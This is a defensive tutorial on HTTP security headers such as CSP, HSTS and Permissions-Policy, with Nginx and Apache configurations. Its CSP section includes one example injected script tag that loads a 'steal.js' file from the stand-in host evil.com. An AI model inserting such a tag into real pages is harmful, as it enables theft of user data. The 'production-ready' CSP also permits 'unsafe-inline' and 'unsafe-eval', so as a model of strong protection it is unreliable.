🛡️ Web Security Headers: A Complete Guide to CSP, HSTS, and 5 More Headers That Prevent Attacks
Security headers are HTTP response headers that instruct the browser to enable additional security protections. They're among the simplest security improvements you can make — no code changes, no infrastructure, just server configuration. Yet Scott Helme's 2025 crawl of the top 1 million websites found that only 2.3% have a Content Security Policy, and only 17% enable HSTS with a reasonable max-age. Here's what each header does, with production-ready configurations.
1. Content-Security-Policy (CSP) — The Most Important Header
CSP defines which sources of content (scripts, styles, images, fonts, etc.) the browser is allowed to load. It's the single most effective defense against Cross-Site Scripting (XSS), which OWASP consistently ranks as one of the top 3 web application security risks. Without CSP, if an attacker injects <script src="https://evil.com/steal.js"></script>, the browser executes it — game over. With CSP, the browser blocks any script not from your approved sources and reports the violation.
Production-ready CSP (moderate strictness):
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;
report-uri /csp-violation-report
Key directives explained: default-src 'self' blocks everything by default, only allowing from same origin. script-src 'unsafe-inline' allows inline scripts — remove this if you can (strict CSP without 'unsafe-inline' requires nonces or hashes on every script tag). frame-ancestors 'none' prevents clickjacking. upgrade-insecure-requests auto-upgrades HTTP to HTTPS. Start with Content-Security-Policy-Report-Only to monitor violations without breaking anything, then switch to enforcing.
2. Strict-Transport-Security (HSTS)
HSTS instructs the browser: "For the next N seconds, connect to this domain ONLY over HTTPS. Never make an HTTP request — upgrade automatically." This prevents SSL stripping attacks (Man-in-the-Middle downgrading HTTPS to HTTP). Google's Transparency Report shows that 95%+ of Chrome's traffic is now HTTPS — HSTS is what enforces this at the browser level.
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
max-age=63072000 (2 years) is the recommended minimum. includeSubDomains applies HSTS to all subdomains — critical because an unprotected blog.example.com can be used to attack cookies scoped to .example.com. preload submits your domain to Google's HSTS preload list (hstspreload.org), which hardcodes HSTS into Chrome's binary — users are protected on their very first visit, before any HTTP response. Once on the preload list, removal takes months (by design).
3. X-Content-Type-Options
Prevents MIME type sniffing. Without this header, browsers may "guess" a file's type by inspecting its content, overriding the server's Content-Type header. An attacker can upload a file named innocent.jpg containing HTML/JavaScript, and the browser — sniffing the content — executes it as HTML. This is called a MIME confusion attack.
X-Content-Type-Options: nosniff
This is a one-line config with no downsides. Every site should have it. The only situation where it causes issues: serving JavaScript files without a recognized Content-Type (but you should fix the Content-Type, not remove the header).
4. X-Frame-Options
X-Frame-Options: DENY
Prevents your site from being embedded in an iframe on another domain. This protects against clickjacking: an attacker embeds your bank's login page in a transparent iframe overlaid on a game, and when the user clicks "Play," they're actually clicking "Transfer All Funds." Note: CSP's frame-ancestors directive is more flexible (allow specific domains, use 'self') and is the modern replacement. Use both for legacy browser coverage.
5. Referrer-Policy
Controls how much referrer information is sent when a user navigates from your site to another. The default (no policy) sends the full URL including query parameters. This means https://yoursite.com/reset-password?token=abc123 leaks the reset token to every third-party site you link to. Google Analytics receives this. Ad networks receive this.
Referrer-Policy: strict-origin-when-cross-origin
This sends the full URL for same-origin navigation, the origin only for cross-origin HTTPS→HTTPS navigation, and nothing for HTTPS→HTTP (downgrade). It's the most privacy-preserving option that doesn't break analytics (Google Analytics still receives the referring domain). no-referrer sends nothing but may break some legitimate use cases.
6. Permissions-Policy
Controls which browser features your site (and embedded third-party content) can access: camera, microphone, geolocation, USB, payment, gyroscope, and ~30 other APIs. By default, your site and all third-party scripts have access to all of these. This is a critical anti-abuse mechanism — it prevents a compromised ad network script from accessing the user's camera.
Permissions-Policy:
camera=(),
microphone=(),
geolocation=(self),
usb=(),
payment=(self)
camera=() means: no origin, including your own, can access the camera. geolocation=(self) means: only your own origin. geolocation=(self "https://maps.example.com") means: your origin plus a trusted map provider.
7. Cross-Origin-Embedder-Policy & Cross-Origin-Opener-Policy (COEP & COOP)
These two headers enable cross-origin isolation, which unlocks powerful browser APIs: SharedArrayBuffer (needed for WebAssembly threading and high-performance compute), performance.measureUserAgentSpecificMemory(), and high-resolution timers with reduced jitter. Without cross-origin isolation, these APIs are either unavailable or imprecise.
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
COOP isolates your browsing context from cross-origin popups and navigations (prevents Spectre-style side-channel attacks). COEP requires all cross-origin resources to explicitly opt in via CORS headers. These are strict headers — test thoroughly before deploying, as they can break cross-origin image loading, CDN-hosted assets without proper CORS headers, and embedded third-party content.
Quick Server Configurations
Nginx:
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self)" always;
Apache (.htaccess):
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Test Your Headers
Use securityheaders.com (by Scott Helme) to scan your site. It grades from F to A+. An A+ grade requires CSP, HSTS with long max-age, and all recommended headers present. The scan takes seconds and gives configuration-specific fix suggestions. Do this today — it's the lowest-effort, highest-impact security improvement available to any site operator.
Found this helpful? Explore 100+ free online tools — no signup needed.